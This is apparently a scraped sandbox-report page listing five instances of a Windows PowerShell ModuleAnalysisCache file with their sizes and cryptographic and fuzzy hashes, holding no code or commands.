Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 63KB
SHA256 caf13269b645bf0ab7c30a8a4cb68c414ceb5f74cedba843d7d954cd229956ba
MD5 485a60901717f2c9f915dec8986c9e70
SHA1 b796ada0fcd52145f5427ba36521956caa22104c
SHA512 c673f6472d48d1a62a7e04d6cf20d1ae0c058ac1275f0fea7dd4e55aa2fc89445846afc027e8528c1ba9b7050893df31beba429319caf20eec6d721ea1032ddc
SSDEEP 1536:KjF+jH0/tAHkPUMrxkfKQ+flJdpYoEibjoRjdvRAJDjLbRhhUp4g1vgyea5/xZi5:AF+jH0/tAHksMrxkfKQ+flJdpYoEibjR
TLSH
T1F45374D2E9204E75E1A66F3EF15622627C34394690F8113212DC25EFA9879930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 63KB
SHA256 97551d80a2883835f27afceb1552d8db02b0f494bb03b84d984ab41d9d3010a6
MD5 bcb113f97d8e13fdaf639474ce910833
SHA1 1839ef844207219da7eac67da0a162e77ad0f8eb
SHA512 1d1dba940e3614187a8ed3538b16c13ee3602ff6d5cbc5cedbdd0178940ccd474e701459ecbae2ea1dd48c3f6547f9473a97b37ac71d4d932cd84d7b027a3d77
SSDEEP 1536:KjF+jH0/tAHkPUMrxwfKQ+flJdpYo8ibjoRjdvRAJDjLbRh9Up4g1vuyea5/xZi5:AF+jH0/tAHksMrxwfKQ+flJdpYo8ibjH
TLSH
T15E5374D2E9204E75E1A66F3EF15622627C34394690F8113212DC25EFA9879930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 63KB
SHA256 daa48b885b1d84e55d02afb260c0c3ed33330d3e018d318ffcaf84195a7d7afd
MD5 c95525f3fb05deb7efd811220d08f73c
SHA1 2f9d33227a9f9a8072655d2827e7d307f5f7b7e2
SHA512 87822fdbba9aba60507c3df1f9104346ebb5d33049111c3de3ed71095d47beed9950dc20829ae750047761283dbc10191450870e948e33a469ae73baa9cc60b3
SSDEEP 1536:KjF+jH0/tAHkPUWrxwfKQ+flJdpYo8ibjoRjdvRAJDjLbRh9Up4g1vuyea5/xZi5:AF+jH0/tAHksWrxwfKQ+flJdpYo8ibjH
TLSH
T1E85374D2E9204E75E1A66F3EF15622627C34394690F8113212DC25EFA9879930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 63KB
SHA256 4590f47519d11481c4b37f686bab96eef6edf82344ada09dd0438a1057853d86
MD5 af44bf46733dd791baa60a084d6a2e49
SHA1 beeec21d7ebe5771e2719b01d727b118c5554ec4
SHA512 c81abbebd42ece72e2211c6a6862044ba2ad276846671d6f6b85e4e5d950f03c113d15fe6c18db0fbf22b41c7d3b8aff082a859914a060bd5c069059fce78141
SSDEEP 1536:KjF+jH0/tAHkPUWrxAfKQ+flJdpYo8ibjoRjdvRAJDjLbRh9Up4g1vuyea5/xZi5:AF+jH0/tAHksWrxAfKQ+flJdpYo8ibjH
TLSH
T1C15374D2E9204E75E1A66F3EF15622627C34394690F8113212DC25EFA9879930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 62KB
SHA256 e41fed63953d237c73cc98bd1b6e671ff4852b0cbaf92be07648bb3894b28bb6
MD5 a691d7100cb7236f0f58658762f476a8
SHA1 24f151f0923c014092587c3c4974dd279811815a
SHA512 6422a7655d6bcf0487ec82280453fea270bd469594cda91779cfe6d76cfe4d20c799af569ccacd3f28207abbf30c15458cb2c750d999ae415aa717c7f1b75851
SSDEEP 1536:nhdMhq3vdfKQVrflJdCHYWh4iUx9R40i71YidENcMrxoV3CNBQkj2Ya5eDjIf+jU:n7Mhq3vdfKQVrflJdwYWqiU9RCqeENcH
TLSH
T1945374D3E9204E75E1A66F3EF15622627C30394690F8113212DC25AFA9879930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download